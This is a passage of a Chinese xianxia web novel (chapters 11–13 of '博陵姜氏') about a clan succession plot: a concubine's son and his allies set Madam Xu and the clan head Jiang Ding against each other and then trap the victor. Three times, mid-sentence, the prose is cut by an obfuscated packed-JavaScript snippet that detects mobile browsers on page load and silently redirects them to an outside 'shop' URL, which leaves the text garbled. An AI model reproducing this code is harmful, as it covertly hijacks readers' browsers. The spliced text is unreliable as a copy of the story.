“而且家主明天晚上就回来了,夫人就算稍等一日又有何妨?您可以不相信小人,但总该相信家主一定会为世子主持公道吧?” 常易的语速又急又快,许凌烟根本没机会插口。她脸上的表情变了好几变,最后终于咬了咬牙,声音像从牙缝里挤出来的: “是,我自然相信他。” 说完,她用那双满含怨恨的眼睛狠狠在桃桃身上剜了一下,这才收敛满身杀气,蹒跚转身向着姜浮的尸身走去。 她首先是个战士,然后才是个母亲。 可当她看到姜浮那血淋淋的尸首,那金丹处的空洞时,还是忍不住眼前一黑,几乎晕倒。 常易连忙要过来扶她,却被她一把推开:“别碰我!!” 许夫人一下撑在了旁边的椅子上,高傲如她自然不肯让别人看出她的软弱,她叫来自己两个亲信:“把浮儿抬回我的房间去。”然后重重吸了几口气,拖着灌了铅一般的双腿,一步一顿走下楼去。 楼下原本聚着的人已基本散去,应该是被冯三拉到别处问话去了,其余的下人也不敢在此逗留,但许凌烟还是看到一个不速之客——姜怜。 姜怜一身黑衣,站在树下的阴影里,低眉顺眼地侯在路旁,感觉到许凌烟靠近,便敛身朝她一拜:“母亲节哀。”声音中竟似有些哽咽。 “呵。” 许凌烟停住脚步,冷笑一声,斜眼睨向姜怜,将他从头到脚打量一遍。然后猝不及防地,突然扬手一鞭将姜怜狠狠抽在地上,最终扬长而去。 小厮们吓懵了,半天才反应过来,惊恐地尖叫:“来人啊!不好了!大公子被……” 一双大手突然捂住了那人的嘴,常易看着倒地不起的姜怜,面不改色地叫道:“大公子伤心过度,吐血晕过去了,快去叫人请大夫。” 11. 博陵姜氏(11) 许夫人正在气头上,连大公子都敢打,这群小厮只是下人,倘若他们插口主子之间的恩怨,难保不会在夫人的盛怒之下丧命。 常易此行倒不是出于什么好心,只不过他觉得现在这个关头死人很麻烦。 内府本来就人手不足,何况今天他还处理了两个,要是再死,他就非得要从外面招人了,而那些虎视眈眈姜氏的其他势力,说不定就会趁此机会渗透进来…… “唉。” 常易想到这里,忍不住叹口气,这一大家子人可都不是什么省油的灯,尤其是大公子。 “快,来个人,过来帮我搭把手。” 他摇了摇头,迅速走过去扶起姜怜,给他喂了一颗止血丹,然后指挥手下将人抬起,“送大公子回房,小心路上别颠着。” 夫人用的是上品灵器青冥鞭,那一鞭虽然厉害,但凭着大公子的修为,应该还不至于承受不了吧?所以…… 常易望着姜怜远去的背影,想:大公子这葫芦里到底卖的什么药呢? * 与此同时,同样在思索这个问题的还有另外一人,那便是辛桃桃。 她想起昨晚姜怜野心勃勃、信誓旦旦、运筹帷幄的样子,还以为她们找到了一个王牌军师,没想到姜怜今天这波操作直接给她整懵了! 谁家头号嫌疑犯,上杆子跑去人家死者娘亲面前晃悠啊?!!这不是找揍吗!害得自己白白挨了一鞭子不说,还晕了过去。 辛桃桃现在十分怀疑姜怜到底是聪明还是傻,甚至担心他会不会直接就这样被许夫人打死了?毕竟她手中的长鞭看起来不似凡品。 但可是……事情不知为何,好像的确又朝着姜怜昨天预测的那般,顺利发生着…… 辛桃桃搞不懂了。 她没法直接冲过去问姜怜,也摸不准常易的态度,于是只好眼睁睁的看着几个小厮将他抬走,然后自己也被带着关进附近一间客房。 这间客房的规格不错,丫鬟送来的饭菜也比她之前吃的好吃,有两份肉菜呢! 辛桃桃觉得这应该是个好兆头,也许上午常易和姜怜已经达成了某种合作,只是自己看不出来而已,所以桃桃心想,现在她只要耐心等待下一步指示就好了吧? 然而,辛桃桃从上午等到了下午,从下午等到晚上,晚上等到半夜,眼瞅着再过两个时辰就黎明了,还是没等到任何人。 她甚至开始怀疑,自己白天吃的是不是断头饭? 明天姜氏家主就要回来了,届时对她一用搜魂术,他们三个可都小命不保啊! 辛桃桃急得团团转,外面现在到底是个什么情况,她也不知道。 她要偷偷跑出去找姜怜吗? 可是……姜浮死后整个姜家戒严,她自知修为不高,要是这么直接溜出去,十有八九会被抓住,那样岂不是帮了倒忙?她到底应该怎么办? “怎么办……怎么办呢?” 辛桃桃越想越烦,于是就咬着指甲,在房间里不停地踱来踱去。 她一会儿趴着门缝往外看,一会儿又走回来,反反复复,但怎么都下不了决心,最后只能懊恼地无声大叫,连头发都差点抓成鸟窝。 “嗤——” 可就在这时,她忽然听到背后有人发出一声轻笑,好像勾魂的野鬼。 “哎呀妈呀!” 辛桃桃吓得低呼一声,心脏差点从胸口蹦出来,转头一看,原来竟是姜怜!而且叶无瑕也在。 但她现在反而更怕了,连说话都变得结巴:“前前前、前辈,你们还、还活着吗?” 四面门窗紧闭,这两人却如鬼魅般凭空出现,落地无声。更诡异的是,白天明明被打得吐血昏迷的姜怜,此刻竟衣冠楚楚,看着毫发无损。所以眼前的这两位,该不会真的已经…… 辛桃桃想到这里,嘴角一扁,忍不住就要哭出来。 “哎?怎么了?” 叶无瑕吓了一跳,以为桃桃哪里受伤了,连忙抓着她就要检查。没想到这小姑娘发现叶无瑕是实心的,反而一把将她抱住,哭的更厉害了,搞得叶无瑕莫名其妙,推了姜怜肩头一下,问道:“你到底怎么人家了?” “抱歉抱歉,是我不好。” 姜怜举起双手,解释道:“白天回去之后,我身边一直有人盯着脱不开身,所以只好等到这么晚才出来行动,桃桃大概以为咱们都变成鬼魂了吧。” 辛桃桃“嗯”了一声,抽抽搭搭的问道:“你们到底怎么进来的?怎么一点声音也没有,吓死我了。” 姜怜笑着指了指身后的墙壁,道:“看到那幅字画了吗?我们就是从这里出来的。我早就猜到常易会把你关在附近,所以昨晚提前布了几个传送法阵,可以直接从我院子里穿过来。” “哦,原来是这样……” 小姑娘嘟囔着,挠了挠头,又问姜怜道:“所以姜公子,咱们的计划到底成没成啊?听说你早上被许夫人打晕了,现在没事了吗?” 叶无瑕忍不住睁大眼睛,狐疑的上下打量姜怜:“受伤?晕倒了?你?到底怎么回事?” 辛桃桃想到叶无瑕早上不在现场,估计也没来得及听姜怜讲就着急赶来这里了,于是言简意赅地把事情经过说了一遍。 姜怜听罢,煞有介事地点头,特意补充道:“是啊,我不仅晕倒,而且还吐血了呢。” 他说着叹口气,捂着胸口故作心痛状:“唉,明明受伤的是我,挨打的是我,出谋划策的也是我,结果师姐非但不心疼我,反而推我一下,真是让人心寒呐。” 叶无瑕:…… 辛桃桃:…… “咳咳咳!” 辛桃桃一阵心虚,赶紧干咳几声,强行转移话题:“那个……不过你们不觉得常易的反应很奇怪吗?他刚开始咄咄逼人,差点就要揭穿我了,可后来不知为何,态度突然来了个大反转……我现在越想越觉得害怕,他会不会是在故意诈我们?” “嗯,”叶无瑕若有所思地摸索着手指,“事出反常必有妖,确实可疑。” 但姜怜却道:“不会的。”态度斩钉截铁。 二人同时抬头看他。辛桃桃问道:“为什么呢?” 姜怜唇角微勾,慢条斯理道:“因为只要是人,就一定有所求,只要有所求,就会有破绽。而我刚好知道一个关于常易的小秘密,为了这个秘密,常易必须帮我。” 辛桃桃听得一头雾水,挠头道:“什么秘密?” “起死回生。”但接话的不是姜怜,而是叶无瑕。 辛桃桃一愣,转头看去。只见叶无瑕眼底闪过一丝恍然,随即目光变得犀利起来,紧紧盯着姜怜:“我明白了。” 辛桃桃还是一脸懵,问:“师姐明白什么了?” 叶无瑕没有看她,只是将视线依旧锁定在姜怜身上,道:“你特意嘱咐桃桃,让她在审问时一定要咬死‘王姑娘复活’这一点。其真正目的,根本不是为了嫁祸给死人,而是为了让常易听到‘复活’这两个字。” 她说着顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406215|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,故意放慢语气:“所以,我猜常易也有想复活的人,这是常易的秘密,也是你所抛出的合作筹码,我说的对不对?” “还是师姐聪明。” 姜怜赞许地弯了弯眼眸,随后语气淡了几分,道:“常易曾经有个女儿,唤作秀妍,五年前因我父亲而死,而常易一直在偷偷祭奠她。” 姜氏家主姜鼎其人,风流、滥情、喜新厌旧。 他虽然只有许夫人一个正妻,却有着无数的外室和私生子。 他跟每个女子缠绵时,好像都发自真心,让她们误以为自己才是他的唯一,可当他看到新的目标时,便转眼将她们忘了,任凭采撷过的鲜花烂在泥里。 秀妍便是其中一个可怜的女孩。 她甚至是最惨的一个。 那日她去给常易房中送寒衣,恰巧碰到姜鼎也在,听说是低头奉茶时,她袖口滑落,露出的一节手臂过分白皙,便让那风流成性的姜鼎来了兴致。 在他眼中,家奴的女儿与一个精美的茶杯并无区别。看上了便随手玩弄,哪需要什么理由?可怜秀妍后来发现自己有了身孕,一方面害怕被许夫人责罚,另一方面又觉得羞愧难当,便直接投河自尽了。 那件事之后,常易表面虽然没说什么,甚至还主动帮家主掩饰,声称秀妍之死是个意外,实际上却偷偷给女儿修了坟墓,一直祭奠秀妍。而姜怜也是因为一次极其偶然的机会,才发现了常易的秘密。 姜怜继续道:“思念亡女乃人之常情,但如果被我父亲发现了会怎么样?常易可以没有背叛之心,可以不心怀怨恨,但他怎么保证我父亲不会怀疑他?这就像是一柄悬在他们头顶的刀,随时都有可能落下。” 辛桃桃恍然大悟:“哦!我明白了!所以他们主仆之间早就有了裂痕,只是双方一直维持着表面的和平而已。等到今早常易接到了姜公子的暗示,自然就选择了我们这边!欸?不对……等一下。” 少女说着说着,忽然又皱起眉头,她咬着手指道:“可是……可是我还是不太明白,常易他究竟是怎么发现我们知道他的秘密的?我们白天根本没有直接跟他说起过。” “这不需要明说。”叶无瑕微微一笑,循循善诱道:“桃桃,你不觉得这两件事,就像是一个模子里刻出来的吗?” 她竖起两根手指,分析道:“姜鼎风流成性,视人命如草芥;姜浮便有样学样,四处搜罗女修采补。当年姜鼎因为一时兴起,逼死了常秀妍;如今姜浮也因为荒淫无度,害死了王姑娘。所以在我们编造的这个‘故事’里,姜浮就是年轻时的姜鼎,而死而复生的王姑娘,就是另一个常秀妍。” 辛桃桃愣了一下,随即眼睛猛地亮了:“啊!我懂了!”她激动地脱口而出:“所以我们杀姜浮,就是在暗示常易我们也能杀姜鼎!常易帮我解围,就意味着他已经答应了跟我们合作,是一份投名状!” 叶无瑕点头:“对了。” “哇!”辛桃桃忍不住低声赞叹,看向姜怜的眼神都变了,“不用一兵一卒,只用一个故事就策反了敌方心腹……好巧妙的布局!” 姜怜嘴角一抿:“也没有很巧妙,毕竟两件事之间本来就没什么关系,我也没法真的让死人复活,只不过人们往往都爱一厢情愿,相信自己想要相信的事,我刚好利用了这点罢了。” 辛桃桃接着又问:“那么现在常易知道公子的意图了,他什么时候会来见我们,继续商量下一步的计划呢?” 叶无瑕摇头:“他不会来了。” 12. 博陵姜氏(12) 辛桃桃问:“咦,为什么?难道……” 叶无瑕:“因为师弟也已经告诉他了。” 辛桃桃惊讶道:“告诉他了?什么时候,是白天发生的事吗?” 叶无瑕看一眼姜怜,道:“也许这就是师弟为什么要故意激怒许夫人了,我猜的还对吗?” 姜怜点头:“对。” 辛桃桃更是吃惊:“激怒许夫人是为了明天的行动?” 叶无瑕正要解释,辛桃桃却突然大叫一声:“等一下等一下!先别告诉我,让我自己想想。” 叶无瑕失笑:“好。” 然而,小姑娘抓耳挠腮,绞尽脑汁,想了半天也想不出,最后只好泄气的垮下肩膀,凑到叶无瑕面前,讨好地捏起两根手指比划了一下:“叶前辈,能不能稍微给点提示呀?千万别多说!就一点点,指甲盖那么大一点点就行!” “好。”叶无瑕忍俊不禁,循循善诱道,“那你仔细想想,你刚才说许夫人放话威胁常易,说‘女儿也可以继承家业’之后,常易是怎么反应的?” “嗯……”辛桃桃歪着头,努力回忆:“常易没反驳她,只说……既然如此,那就等明日家主回来,请家主定夺。” “对。”叶无瑕眸光微深,“那许夫人听了这话,是什么反应?” “她……”辛桃桃眼睛转了转:“她好像气坏了,虽然答应了,但那是咬着牙答应的,像是……像是知道自己输定了一样。” 话音刚落,辛桃桃猛地倒吸一口凉气,眼睛瞪得滚圆:“啊!我明白了!” 她指着姜怜,声音都变了调:“常易敢搬出家主,是因为他早就摸透了家主的心思,在他们男人眼中女儿根本没有继承权,哪怕是嫡出的大小姐,也比不上一个庶出的儿子!” “既然姜浮死了,那姜家唯一的继承人就只剩下——” 辛桃桃咽了口唾沫,震惊地看向旁边那个一直安静喝茶的姜怜,道:“所以不管家主多不喜欢姜公子,为了香火传承,他都必须保你,更不会深究姜浮的死因!” 叶无瑕知道皇族子弟为了争权夺利经常手足相残,父子反目,姜氏的势力仅次于王族,估计也好不了哪去,但叶无瑕这次没有回答,而是望向姜怜求证,毕竟有些事情,还是他们自己人更清楚。 姜怜放下手中茶杯,点了点头,道:“没错。父亲本来就默许孩子之间的竞争,就看谁能做的更干净,手段更高明。” 博陵姜氏是北歧第一世家,不仅被王族忌惮,其他势力也虎视眈眈,他们未来的主人一定要有谋略和手段,才能驾驭得了姜氏这个庞然大物,这点不难理解。 “我虽然没有看轻女子的意思,但二妹根本就不在父亲考虑范围之内。而且她从小就性子冷漠,一心修道不问世事,就算当上了家主,未来也会大权旁落,所以无论如何,姜氏的继承人就只能是我。” 叶无瑕听着听着,忽然叹口气:“许夫人是个可怜人。” 姜怜眉梢微抬:“师姐心软了?” 叶无瑕摇了摇头:“不,王姑娘,秀妍,还有我,也是个可怜人。” 姜怜闻言,眼中笑意更深,似乎对这个答案极为满意:“师姐果然通透。” 他指尖敲了敲桌面,继续刚才的话题:“那么既然姜氏的继承人只能是我,父亲又不会为姜浮之死责罚我,许夫人吃了这么一个哑巴亏,她会怎么做呢?” “她会……”辛桃桃压低声音,目光闪动,“杀死你父亲?!” 姜怜道:“对了。” 辛桃桃:“所以你故意挨了夫人一鞭,就是为了置身事外,坐观虎斗!” 姜怜眼底笑意加深:“聪明。” 辛桃桃道:“然后无论谁输谁赢,最后都会败在你的手上?” 姜怜道:“没错,而且常易会帮我困住他(她)。” “哇哇哇!” 辛桃桃佩服的五体投地,忍不住连称呼都变了:“姜大哥,你这脑子怎么长得,也太聪明了!” “过奖。”姜怜轻笑一声,显然心情极好,他凤目微扬,望向叶无瑕的目光甚有得色,柔声问道:“那师姐觉得呢,我这个盟友,是不是还挺好用的?” “是,是挺好用。” 叶无瑕抱着剑,声音冷冷的,“你若不是站在我这边,我肯定第一个先杀了你。” 姜怜:“……” 辛桃桃:“……” “哈哈,”姜怜干笑一声,打破空气中短暂的凝固,“师姐这夸人的方式,还真是别致。” 随即,他敛去笑意,指节在桌案上轻轻叩了两下,迅速切回了正题:“总之,桃桃的任务圆满完成,明天只需安心待在房间即可,常易也已经理解我的意思,定会配合,至于剩下的重头戏,”他转头看向叶无瑕,目光深沉,“就要靠师姐出马了。” 叶无瑕定定看着姜怜,眸地神色翻涌,却欲言又止。 她最终还是收回目光,点了点头。 “说吧,要我做什么。” * 次日清晨,是姜氏家主归府的日子。 天穹之上黑云压顶,闷雷在厚重的云层深处隐隐咆哮,仿佛随时都会撕裂天幕,降下一场腥风血雨。 府中上下噤若寒蝉,下人们一个个低垂着头,连走路都恨不得踮着脚尖,生怕发出一丁点声响。 毕竟昨日世子暴毙,大公子又被当众鞭笞吐血,如今许夫人正满身煞气地端坐正堂等着姜鼎回来,谁都不敢在这时候触主人的霉头。 就连常易,也变得更加谨慎起来。 “老爷,夫人请您去她房间一趟。” 马车停下时,他只说了这么一句话,便垂下头,静静地退去了门口候着。 “知道了。” 车上传来一声叹息,随后一只手轻轻挑开了门帘。 那只手修长、干燥,手背上的青筋微微凸起,不显狰狞,反倒透出一股蛰伏的力量感,让人一看便知,这是一只常年握着权利的手。 姜氏家主缓步从车輦上下来。 他身着黑金长袍,腰束羊脂玉带,容貌出众,端重自持,眼底如寒潭古井,气场清冷不怒自威。 就是这种清冷矜贵的气质,不知骗过了多少女人。 门口两名下人立刻很有眼色地抬起软轿,等待主人入座。 但姜鼎摆了摆手,径直走过轿子,然后身影便如雾气般,消散在了庭院中。 * 许凌烟枯坐堂中,一夜未眠。 她直勾勾盯着地面不动,眼底全是血丝,身子斜倚在太师椅上,左手支额,右手搭在膝盖上,指腹一下一下,摩挲着长鞭上的灵纹。 白发已悄悄爬上她的鬓角,皱纹也在她眉间留下刻痕,短短一日,她竟似突然老了许多。 门“吱呀”一声打开。 许凌烟抬起头来,望向逆光中浮现的那道身影,一言不发。 于是姜鼎跨进门槛,替她打破沉默:“我回来了。” 他走了进来,望着妻子那双疲惫而又怨怒的眼睛,微不可察地皱了下眉头。 许凌烟说:“浮儿死了。” 姜鼎回答:“我知道。” 许夫人问:“你知道?” 姜鼎道:“常易告诉我了。” 许凌烟冷笑一声:“那他有没有告诉你,浮儿是姜怜害死的?” 姜鼎:“你有证据吗?” 许凌烟:“我需要证据?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406216|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你毕竟是姜氏的主母,应该大度一些,没有证据的话,最后不要信口开河。” “我不大度?我信口开河?” 许夫人的声音突然提高许多:“我的儿子死了,你不去处罚凶手,你让我在这里装大度?” 姜鼎忍不住叹口气:“我不是说了吗?你没有证据。” 许夫人冷冷道:“那你就相信那个丫头说的死而复生?” 姜鼎摇头:“我没有。常易还在调查,你起码要给他一点时间,昨天他查到府中门客少了一人,听说还会纵尸之术,也有可能——” 许夫人打断他:“那你为何不直接对那丫头用搜魂术?” 姜鼎道:“没必要。” 许夫人冷笑:“你是怕查出什么来吗?” 姜鼎皱起眉头:“首先,那个丫头没有必要撒谎,其次,此事本来就是浮儿自作自受,他给姜氏蒙羞,不能为他再死人了。” 许夫人突然腾的一下站起来,怒吼道:“他给姜氏蒙羞?你现在说他给姜氏蒙羞?!当初他第一次抓人采补的时候你在哪里?为什么不制止他?是不是也忙着在和女人风流?你只管生他不管养他,现在倒好意思跟我说他蒙羞?!” 姜鼎面色阴沉,压低声音道:“你嚷什么嚷,就不能好好说话吗?” 许夫人气笑了:“我怎么好好说话?我的儿子死了!浮儿死了!你对他视而不见,连个屁都不放,从开始到现在一直顾左右而言他,你让我怎么好好说话?!” 姜鼎不耐烦道:“你到底想要怎么样?” 许夫人道:“我要姜怜死!” 姜鼎:“姜怜是我的儿子。” “可浮儿也是你儿子!” 许夫人咬着牙,一字一顿。 “他是你和我,一起生下的正统血脉,他的背后除了姜氏,还有整个许氏的支持,岂是姜怜那个野种能相提并论的?! “而且浮儿为何会变成这样,你心里难道没数吗?!还不是因为你让他们互相争斗,因为你到处寻花问柳,搞出那么多野种——” “野种,野种,野种!” 姜鼎几乎恼羞成怒,打断许夫人。 “你整天张口闭口就是野种,哪里有个姜氏主母的样子?这些年来你杀我多少孩子我都没跟你计较,现在区区死了一个姜浮,就跟我这样歇斯底里,难道只有姜浮的命是命,别人的命就不是命了吗?你什么时候变成了这样?” “我怎么变成这样!”许凌烟声嘶力竭,“像个泼妇一样是不是?哪怕你在外面寻欢作乐的时候收敛一下,哪怕你存了一点给浮儿主持公道的心,我何至于变成这样?” “够了!” 姜鼎衣袖一拂冷冷打断:“此事无需再议,姜浮就是被门客纵尸所杀,从现在开始,姜怜将是世子。” “……” 突然间,房间里安静下来,死一般的沉寂在空中蔓延。 许夫人颓然坐回椅子上,自嘲的笑一声:“哈,好啊,你终于说出来了。” 她双手捂着脸,笑声竟是如此凄凉,忍不住暗想自己跟他吵那么久,到底是在期待什么? 她最终还是退让一步:“好,姜怜可以不死,但柔儿她——” “不可能。”姜鼎冷冷打断,“我绝不允许姜家势力落在一个女人手里。” 许夫人不说话了。 她面如死灰,此刻看起来竟是如此绝望、疲惫。 姜鼎似乎也觉自己方才太过绝情了些,忽然放软了姿态:“除此之外,无论你提什么要求,我都答应。” 良久,许凌烟长叹一声,指着身后哑声道:“那么,至少去看一眼浮儿吧,再怎么样他也是你儿子。” 13. 博陵姜氏(13) “好……” 姜鼎点了点头,走进门去。 这个要求不算过分,他毕竟是姜浮的亲生父亲,感情总是有的,哪怕只是为了让妻子满意,他也一定会做。 “嘎吱”一声,房门在他身后轻轻合上。 “许凌烟你——!”姜鼎的低吼戛然而止。 许夫人闭上双眼,长长呼出一口气。 房内激斗震天,灵压乱走,雷鸣,兽吼,交织在一起,仿佛一曲悲壮的挽歌。 他们是从什么时候变成这样的呢? 许凌烟忍不住想起从前。 那时她的浮儿才刚出生,就在这个房间,姜鼎抱着浮儿笑,小心翼翼的像珍宝,柔儿也偎在她的身旁,好奇的望着自己的新弟弟。 她曾天真的以为,他们一家四口能这样一直幸福下去,可没想到,转年姜鼎就带回一个男孩子。 她不高兴,也不喜欢姜怜。 可她是仙盟大名鼎鼎“紫电罗刹”,许氏的掌上珠,她觉得这也许是丈夫曾经的一时糊涂,更不想让自己显得像一个妒妇。 男人嘛,谁不会饭店错误呢?于是她接纳了姜怜,努力去做一个好继母,可没想到丈夫反而越发变本加厉,竟又带回第二个,第三个,第四个…… 起初她还和他吵架,后来便直接动手。 姜鼎总说孩子是无辜的,可她不也是无辜的吗?也许她对他的情意,就是被这一次次的失望,消磨殆尽。 渐渐地,房间里的打斗声消失了。 就好像他们之间最后的纽带,也随着姜浮之死切断了。 半晌过后,许凌烟站起身,缓缓推开门。 映入眼帘的是一道屏风。 屏风上画的是芦苇青青,碧波荡漾。清晨缥色的薄雾中,一位身着青衫的妙龄女子撑着小船,正溯游而上。 只不过这如诗般美丽的画卷上,现在已是血迹斑斑。 她忍不住伸出手,轻抚屏风上的字迹,又想起少年时,这是姜鼎送她的礼物。 蒹葭苍苍,白露为霜。 所谓伊人,在水一方。 他们也曾恩爱过,也曾耳鬓厮磨过,他会耐着性子花一整个下午,为她挑选最合适的脂粉,会在烛光里为她画眉,用丹青一遍一遍描摹她的模样。 而如今,他们的定情信物却被用作遮挡埋伏的掩体。 何其讽刺。 许凌烟扬起手,想要将这屏风劈个粉碎,可她最后还是叹口气,将手又放了下来。 也许她的心里还是有他的,也许她始终做不到他那般冷血绝情…… 可惜他做的到。 只听“嗤啦”一声,那只曾经为她画眉的手突然冲破屏风,裹挟着浓烈的血腥气,一下子扼住了她的咽喉。 “唔……唔……!” 冰冷的杀意顺着五指侵袭许凌烟的全身,压着她提不起灵气,胸口越来越疼,她想握住腰间的长鞭,可她控制不了身体。 她的肺部抽搐起来,脖子仿佛马上就要扭断。 在模糊的视线中,她顺着屏风的裂口,看到房内满地狼藉、法阵破碎,看到自己从小养大的两只灵兽被开膛破肚,看到亲信死不瞑目,最后看到了姜鼎。 黑暗袭来。 这是她在人间看到的最后一幕。 * “叶前辈,你说最后出来的会是谁啊?” 客房内,辛桃桃守着桌上的一盆清水,紧张地盯着水面荡漾的波纹。这是昨夜姜怜离开时留下的“圆光术”,能让她们实时看到那边的动静。 正在榻上闭目养神的叶无瑕并未睁眼,只是淡淡吐出一个名字:“姜鼎。” “咦,”辛桃桃问道,“为什么不是许夫人呢?她不是专门设了埋伏?” “因为许夫人太直了,而且也不够狠心。” 就像前世的自己一样。 叶无瑕说着缓缓睁开眼睛,将目光投射过来:“看,门开了。” 如果不是立场不同,她会想要帮她一把。 水盆中的光影一阵晃动,映出了一道浑身浴血的身影。辛桃桃低下头,低呼一声:“真的是姜鼎!天哪,他居然真的赢了……” 随即,小姑娘的脸又皱成一团,忧心忡忡道:“可是叶前辈,我们的计划真的没问题吗?许夫人提前布置埋伏,占了先机都没能杀死姜鼎,前辈现在用的不是自己的身体,状态没法达到巅峰,我害怕万一……” “没关系。”叶无瑕笑了笑,从榻上起身,“正因为他是赢家,此刻才是他防备最松懈的时候。” 她转身走到墙壁前,掌心凝聚一点灵光,按在挂画上:“好好待在房间里,”叶无瑕嘴角扬起一丝自信的弧度,“等我好消息。” * 当姜鼎带着满身血气,回到自己庭院时,姜怜已经在此恭候多时了。 “父亲,您回来了。” 他神色肃穆,毕恭毕敬的敛起手,对着姜鼎行了个无可挑剔的大礼,好像根本不曾看到他身上的玄袍还正滴滴答答淌着血。 偌大的庭院死寂无声,连半个侍从的影子都看不见。显然,这里已经被提前清理干净了。 姜鼎脚步微顿,目光扫过这个平日“温和恭顺的庶子,眼底多了几分意味深长:“听说你昨天受伤了?” “劳父亲挂怀。”姜怜直起身,双手呈上一方折叠整齐的雪白锦帕,语气平静无波:“一点皮肉苦罢了,已无大碍。” 姜鼎接过帕子,慢条斯理地擦去眉骨上溅到的一滴鲜血,随手抛落在地上:“在我面前,你还要装吗?” “孩儿不敢。”姜怜低下头。 “有什么不敢,”姜鼎笑道,“我看你挺大胆的。不仅杀死了浮儿,没落下证据和把柄,还挑拨凌烟对付我,再借我之手,杀死了你的主母。你这个孩子啊,可真是精明的很,居然连为父也算计进来。” 姜怜道:“那父亲可要责罚儿子?” 姜鼎:“你觉得呢?” 姜怜道:“我觉得……父亲应该不会责罚吧,毕竟是父亲一直教导我,想做姜氏未来的家主,就得遇事要忍,下手要狠,善后要稳。” “哈哈哈,”姜鼎忍不住大笑起来,“不错,你做的那么好,我奖励你还来不及——” “啪!” 一声脆响骤然炸开。姜鼎突然抬手给了姜怜一巴掌。 这一掌掴得极重,姜怜的脸被打得偏了过去,整个人踉跄后退,一丝鲜血顺着嘴角蜿蜒而下。 姜鼎冷冷道:“你以为,姜浮和许氏死了之后,我就没得选了吗?不过稍微夸你几句,尾巴就翘到天上了是不是。知道为父最讨厌的是什么吗?就是你这种自作聪明,胆大包天的行为。 “好好想想吧,若没有我,你本来早该和你那卑贱的生母一起死在勾栏瓦舍的阴沟里了,现在却能人模狗样的站在这里充少爷,究竟是拜谁所赐?我能赐予你一切,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406217|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然也能收回一切。” 霎时间,姜怜浑身僵硬,脸色也变得煞白,低垂着脑袋久久不敢抬起,然而姜鼎的嘴角却扬了起来,好像十分满意对方的反应。 他需要一个有能力的世子,但更需要一个听话的世子。 听话的小狗打一巴掌之后就该给个甜枣。 于是姜鼎拍了拍姜怜的肩膀,语气变得柔和起来,好像刚才无事发生:“不过,我的好孩子,你也不必紧张。你们兄弟之间只有胜者才有资格继承姜氏,这点你确实做的很好。只是你得记住,姜氏现在的主人还不是你,倘若再有下次,就休怪为父不顾父子之情了。” 姜怜仍然维持着原来的动作,凌乱的发丝遮住了眉眼,让人看不清神色。良久,他抬起手,用拇指缓缓拭去嘴角的血迹,盯着指腹那一抹刺目的猩红看了片刻,肩膀忽然耸动了一下。 “当然。”一声压抑不住的低笑从姜怜喉间发出,“当然没有下次。” 不知从何时开始,周围景色开始扭曲,惨白的浓雾从如潮水般涌出,瞬间吞没整个庭院,两人之间的距离忽然拉远,同时地面亮起一道巨大的金光法阵,将姜鼎困在其中。 姜鼎眉尖一挑:“怎么了我的孩子,现在就已经迫不及待了吗?” 姜怜抬起头,半边脸颊上的红印分外刺目,可他却毫不在乎,反而绽出一个无比灿烂的笑容,道:“或者应该说,为了这一刻,我已经等了太久。” “就凭这个吗?” 姜鼎说着一跺脚,便将脚下的阵法轻易踏碎,连带着周围的雾气也被吹散开来。 可就在他运转周身灵气之时,忽然发现自己被一股熟悉的力量压制了,同时手腕、脚腕,还有脖颈之处,都出现了一道淡淡的金光咒箍。 姜鼎修为前几日刚刚破境九重,此时竟被阵法压制得只剩七重了。 他忍不住“哦”了一声:“不错,倒是没让我太失望,你居然说动了常易帮你。” 常易在投奔姜鼎之前,曾是一名溪岐山的术士,溪岐一脉最善结界阵法,其中令世人忌惮的,便是这“乾坤倒转大阵”。 此阵霸道异常,一旦成型,领域之内敌方灵力将会大受压制,而施术者一方则如鱼得水,修为倍增。 这是姜鼎的杀手锏,以前他能除妖降魔无往不利,甚至在数次围剿中反杀强于自己的对手,全是靠的常易的阵法加持。这同时也是姜鼎与常易之间的秘密,就连许夫人都一直蒙在鼓里,所以方才她的埋伏才会惨败。 原来如此。 姜鼎目光冷冷扫过姜怜的笑脸。 想要突破结界,关键是杀死躲在阵中施法的术士。 原来方才姜怜故意激怒自己,又弄出那破绽百出的迷雾和假阵法,就是为了拖延时间,掩护藏在暗处的常易逃走,让他有时间神不知鬼不觉地将这护宅大阵的阵眼彻底逆转。 但姜鼎很快察觉到了不对劲。如果是常易的阵法,只会压制他的修为,却不会让他彻底感应不到外界的灵气波动。 此刻四周的空气静谧得可怕,天地间的灵力好像被“抹除”了,使得他根本无法调用任何术法。 那是无情道的禁术“万法归寂”。 